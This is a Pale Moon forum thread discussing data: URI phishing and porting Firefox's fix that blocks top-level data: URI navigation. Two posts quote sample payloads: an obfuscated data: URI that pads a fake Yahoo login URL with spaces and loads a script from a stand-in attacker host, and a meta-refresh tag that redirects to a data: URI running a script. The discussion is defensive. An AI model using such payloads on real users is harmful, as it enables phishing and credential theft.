Javascript execution exploit even with everything blocked
Javascript execution exploit even with everything blocked
(Everything blocked in uMatrix)
With this fixed bug: bug #1331351 (Consider blocking top level window data: URIs) from Firefox 56 this can be solved with the new about:config setting "security.data_uri.block_toplevel_data_uri_navigations" to "true"
Did have Pale Moon included that fix, or will it?
Its not a uMatrix related bug
With this fixed bug: bug #1331351 (Consider blocking top level window data: URIs) from Firefox 56 this can be solved with the new about:config setting "security.data_uri.block_toplevel_data_uri_navigations" to "true"
Did have Pale Moon included that fix, or will it?
Its not a uMatrix related bug
Re: Javascript execution exploit even with everything blocked
This is an address bar fix to help prevent Gmail phishing schemes. (Read the link in the first bug post.)
How did you conclude this is a JS exploit?
How did you conclude this is a JS exploit?
Re: Javascript execution exploit even with everything blocked
Right, it's malicious JS bundled in a data: blob. I don't consider that a true JS exploit, per se. It's a case of circumventing the normal JS sandboxing via the data: URI scheme, which is what this phishing attack does.
I would agree that if the Mozilla patch could be ported to PM/UXP then that would be a good thing assuming no adverse side effects.
But, overall, not a problem that should cause anyone to lose a wink of sleep. The #1 thing is pay attention to what links you click! That's always the best defense against phishing.
I would agree that if the Mozilla patch could be ported to PM/UXP then that would be a good thing assuming no adverse side effects.
But, overall, not a problem that should cause anyone to lose a wink of sleep. The #1 thing is pay attention to what links you click! That's always the best defense against phishing.
Re: Javascript execution exploit even with everything blocked
Thats security by obscurity.joe04 wrote:The #1 thing is pay attention to what links you click! That's always the best defense against phishing.
How you know the link is secure? How you know the link doesnt use a exploit?
Sure you can use attention but that doesnt help if the browser dont protect you against that.
Also the data:blob even load if you dont allow javascript for the testsite.
Now what?
Re: Javascript execution exploit even with everything blocked
Let's be clear on how these data: URI phishing attacks actually work. From the link:
So what I said before is still true: for phishing, you must pay attention. ANY URL THAT BEGINS WITH data: IS NOT TO BE TRUSTEDThe way the attack works is that an attacker will send an email to your Gmail account. That email may come from someone you know who has had their account hacked using this technique. It may also include something that looks like an image of an attachment you recognize from the sender.
You click on the image, expecting Gmail to give you a preview of the attachment. Instead, a new tab opens up and you are prompted by Gmail to sign in again. You glance at the location bar and you see accounts.google.com in there. It looks like this….
Re: Javascript execution exploit even with everything blocked
Good point, and like I said it would be best to patch PM/UXP for this.dark_moon wrote: Sure you can use attention but that doesnt help if the browser dont protect you against that.
Also the data:blob even load if you dont allow javascript for the testsite.
Now what?
-
- Pale Moon guru
- Posts: 35648
- Joined: 2011-08-28, 17:27
- Location: Motala, SE
Re: Javascript execution exploit even with everything blocked
The patch isn't a fix, because there is nothing to fix XD. (There is no fix for PEBCAK)
All it does is prevent data: URIs from being used in the address bar; it's an OK enhancement if you don't trust your own prowess on the web, and it does reduce potential phishing scenarios (especially because of principal inheritance keeping the state of the opener).
Help with this is welcome -- do note 2 follow-up bugs to the bz bug mentioned: bug #1395948 and bug #1394554
I've opened Issue #1528 to track and solve this enhancement implementation.
All it does is prevent data: URIs from being used in the address bar; it's an OK enhancement if you don't trust your own prowess on the web, and it does reduce potential phishing scenarios (especially because of principal inheritance keeping the state of the opener).
Help with this is welcome -- do note 2 follow-up bugs to the bz bug mentioned: bug #1395948 and bug #1394554
I've opened Issue #1528 to track and solve this enhancement implementation.
"Sometimes, the best way to get what you want is to be a good person." -- Louis Rossmann
"Seek wisdom, not knowledge. Knowledge is of the past; wisdom is of the future." -- Native American proverb
"Linux makes everything difficult." -- Lyceus Anubite
"Seek wisdom, not knowledge. Knowledge is of the past; wisdom is of the future." -- Native American proverb
"Linux makes everything difficult." -- Lyceus Anubite
Re: Javascript execution exploit even with everything blocked
joe04 wrote:
What this "data:" protocol do and how much it is unsafe?
-
- Keeps coming back
- Posts: 891
- Joined: 2016-05-15, 05:00
- Location: humid upstate NY
Re: Javascript execution exploit even with everything blocked
Perhaps this article will help:c7rax wrote:What this "data:" protocol do and how much it is unsafe?joe04 wrote:
Data URi Scheme
It's a way to reduce the number of HTTP requests, e.g. by fetching the style sheet inline, but it can be exploited easily by wrongdoers.
20 July 1969 🌗 Apollo 11 🌓 "One small step for [a] man, one giant leap for mankind." 🚀
Re: Javascript execution exploit even with everything blocked
Oh well, and the enough for me was such example:
d@ta:text/html,https://login.yahoo.com/[ LARGE AMOUNT OF SPACES ]<skrypt src="//attacker.hack/opener/mask.skrypt"></skrypt>
to see how unsafe it can be, especially these "large amount of spaces" gives away a true intention of such website.
d@ta:text/html,https://login.yahoo.com/[ LARGE AMOUNT OF SPACES ]<skrypt src="//attacker.hack/opener/mask.skrypt"></skrypt>
to see how unsafe it can be, especially these "large amount of spaces" gives away a true intention of such website.
Re: Javascript execution exploit even with everything blocked
Another good example of a phishing attack using this data: URI.c7rax wrote:Oh well, and the enough for me was such example:
d@ta:text/html,https://login.yahoo.com/[ LARGE AMOUNT OF SPACES ]<skrypt src="//attacker.hack/opener/mask.skrypt"></skrypt>
to see how unsafe it can be, especially these "large amount of spaces" gives away a true intention of such website.
So if you see anything that starts with data:text/html in your address bar it's a RED FLAG and time to close that tab.
Re: Javascript execution exploit even with everything blocked
Clicking? Red flags? You wish!
Would execute the script when an infected page loads.
Code: Select all
<meta http-equiv="refresh" content="0;URL=data:text/html,<script>alert('Oops!')</script>" />
Re: Javascript execution exploit even with everything blocked
True, the data:URI webpage JS could be anything (including your example snippet), and thus it would be good to patch this little hole in the browser. That's already been discussed in this thread and a Github issue filed.
I should add to my prior post that in the case of phishing emails, also report it to Google, Yahoo, or whoever your email provider is. (Over the years I've seen plenty of botnet spam/phishing emails in my webmail Spam folder, and have flagged the rare few that made it to my Inbox.)
I should add to my prior post that in the case of phishing emails, also report it to Google, Yahoo, or whoever your email provider is. (Over the years I've seen plenty of botnet spam/phishing emails in my webmail Spam folder, and have flagged the rare few that made it to my Inbox.)